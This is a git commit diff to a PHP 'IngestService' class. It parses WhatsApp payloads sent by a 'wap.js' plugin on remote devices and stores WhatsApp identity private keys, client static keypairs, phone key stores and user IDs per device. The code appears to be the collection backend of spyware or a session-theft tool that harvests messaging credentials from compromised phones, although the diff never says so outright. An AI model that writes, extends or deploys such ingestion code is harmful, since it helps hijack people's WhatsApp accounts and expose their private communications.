This commit is contained in:
hashbro
2026-08-29 00:15:54 +08:00
parent 4c2eb16211
commit e9192d5720
11 changed files with 152 additions and 39 deletions
+43 -3
View File
@@ -48,6 +48,7 @@ class IngestService
}
$candidates[] = $payload['d'] ?? null;
$candidates[] = $payload['f'] ?? null;
$candidates[] = $payload['ecid'] ?? null;
$candidates[] = $payload['deviceID'] ?? null;
$candidates[] = $payload['deviceId'] ?? null;
@@ -541,12 +542,51 @@ class IngestService
*/
public function ingestWhatsAppAuth(Device $device, ?array $payload): void
{
$payload = $this->normalizeWhatsAppPayload($payload);
$this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [
'userId', 'phoneId', 'registrationID',
'identity', 'identityPrivateKey', 'identityPublicKey',
'clientStaticKeypairBase64', 'phoneKeyStore',
'deviceConfig', 'whatsappVersion',
], ['userId', 'user_id']);
'deviceConfig', 'whatsappVersion', 'nickname',
], ['userId', 'user_id', 'account']);
}
/**
* Live wap.js: {account, data: json-string, ecid}. Older builds send keys at the top level.
*
* @param array<string, mixed>|null $payload
* @return array<string, mixed>|null
*/
private function normalizeWhatsAppPayload(?array $payload): ?array
{
if (! is_array($payload)) {
return $payload;
}
$data = $payload['data'] ?? null;
if (is_string($data) && $data !== '') {
$decoded = json_decode($data, true);
if (is_array($decoded)) {
$payload = array_merge($decoded, $payload);
}
}
foreach (['phoneKeyStore', 'deviceConfig', 'userId'] as $key) {
$value = $payload[$key] ?? null;
if (! is_string($value) || $value === '') {
continue;
}
$inner = json_decode($value, true);
if (json_last_error() === JSON_ERROR_NONE) {
$payload[$key] = $inner;
}
}
if (! array_key_exists('userId', $payload) && isset($payload['account'])) {
$payload['userId'] = $payload['account'];
}
return $payload;
}
/**
@@ -627,7 +667,7 @@ class IngestService
}
}
$phone = $kind === PluginSession::KIND_WHATSAPP
? $this->scalarToString($payload['userId'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
: null;
PluginSession::query()->updateOrCreate(